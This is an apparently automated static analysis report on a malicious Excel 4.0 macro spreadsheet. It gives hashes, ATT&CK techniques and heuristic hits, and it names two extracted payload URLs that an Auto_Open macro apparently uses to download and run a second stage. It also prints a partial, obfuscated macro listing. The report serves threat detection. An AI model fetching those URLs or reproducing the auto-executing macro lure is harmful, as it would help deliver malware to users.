Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 7ff1cf5b8e7879e1…

MALICIOUS

Office (OLE) / .XLS

380.5 KB Created: 2015-06-05 18:19:34 Authoring application: Microsoft Excel
MD5: 4d6ea71d536385b8b6f67195cda85057 SHA-1: 0a18f9f51f3b548e0d0b4e7a42f8cccd847de212 SHA-256: 7ff1cf5b8e7879e182f00cdf99914dbd8af45e955c3f40cfbd2e8f540f7c0273
102 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that contains an Auto_Open macro. This macro is designed to instruct the user to enable content, a common lure. Upon enabling, it proceeds to download and execute a payload from one of the two provided URLs, likely establishing a second-stage infection.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://caiogabriel.com.br/tOKLlSLW/lena.html In document text (OLE body)
    • https://bwctradex.com/BcotoLXTr1y/lena.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
d46ad6b52df62d280ddc3eb28f4fdfc78bc84dc99077b9aa50809affc4be6057
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 8812 bytes
Preview script
First 1,000 lines of the extracted script
' 0085     11 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Doc1
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Doc2
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Doc3
' 0085     11 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Doc4
' 0018     31 LABEL : Cell Value, String Constant - _xlfn.AGGREGATE hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     30 LABEL : Cell Value, String Constant - _xlfn.F.INV.RT hidden len=2 ptgErr  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1d'
' 0018     33 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=18 ptgRef3d 65535!A1 *UNKNOWN TOKEN* 0x0000 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x01\x00\x03\x00\x03\x00\x08\x004'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 0204     10 LABEL : Cell Value, String Constant
' 0204     14 LABEL : Cell Value, String Constant
' 0204     28 LABEL : Cell Value, String Constant
' 0204     25 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     14 LABEL : Cell Value, String Constant
' 0204     27 LABEL : Cell Value, String Constant
' 0204     24 LABEL : Cell Value, String Constant
' 0204     19 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     12 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     19 LABEL : Cell Value, String Constant
' 0204     11 LABEL : Cell Value, String Constant
' 0204     12 LABEL : Cell Value, String Constant
' 0204     12 LABEL : Cell Value, String Constant
' 0204     11 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     11 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     11 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     12 LABEL : Cell Value, String Constant
' 0204     11 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     13 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     12 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 0204     14 LABEL : Cell Value, String Constant
' 0204      9 LABEL : Cell Value, String Constant
' 0204     10 LABEL : Cell Value, String Constant
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
' Doc2,CJ29,"",0.00000000000000000000
' Doc2,CG39,"",3.00000000000000000000
' Doc3,BW18,HALT(),""
' Doc4,CA15,"['*STACKERROR* not enough arguments for function: RAND=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.00000000000000000000=SUMXMY2(45245))=FACT(59)=RAND(452354.
... (truncated)